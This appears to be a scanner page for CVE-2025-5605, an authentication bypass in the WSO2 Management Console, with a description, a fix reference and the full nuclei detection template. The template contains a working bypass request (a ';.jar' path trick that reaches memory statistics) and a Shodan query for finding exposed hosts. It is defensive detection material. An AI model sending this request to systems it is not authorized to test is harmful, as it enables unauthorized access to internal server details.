WSO2 Management Console - Authentication Bypass

mediumseverity

0.9%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability exists in the Management Console of multiple WSO2 products. A malicious actor with access to the console can manipulate the request URI to bypass authentication and access certain restricted resources, resulting in partial information disclosure. The known exposure from this issue is limited to memory statistics. While the vulnerability does not allow full account compromise, it still enables unauthorized access to internal system details.

Impact

Attackers can bypass authentication to access internal memory statistics, leading to partial information disclosure.

Fix

Apply security patches as per WSO2-2025-4115 advisory to enforce proper authentication on Management Console endpoints.

How to confirm it

Send: GET /carbon/server-admin/memory_info.jsp;.jar
Positive when: contains "Memory Statistics" and "Collection Usage" AND status 200

Run it with nuclei: nuclei -id CVE-2025-5605 -u <target>

The full check

id: CVE-2025-5605

info:
  name: WSO2 Management Console - Authentication Bypass
  author: DhiyaneshDK
  severity: medium
  description: |
    An authentication bypass vulnerability exists in the Management Console of multiple WSO2 products. A malicious actor with access to the console can manipulate the request URI to bypass authentication and access certain restricted resources, resulting in partial information disclosure. The known exposure from this issue is limited to memory statistics. While the vulnerability does not allow full account compromise, it still enables unauthorized access to internal system details.
  remediation: |
    Apply security patches as per WSO2-2025-4115 advisory to enforce proper authentication on Management Console endpoints.
  impact: |
    Attackers can bypass authentication to access internal memory statistics, leading to partial information disclosure.
  reference:
    - https://blog.lexfo.fr/wso2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5605
    - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-4115/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1398055326
  tags: cve,cve2025,wso2,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /carbon/server-admin/memory_info.jsp;.jar HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Memory Statistics'
          - 'Collection Usage'
        condition: and

      - type: status
        status:
          - 200

References

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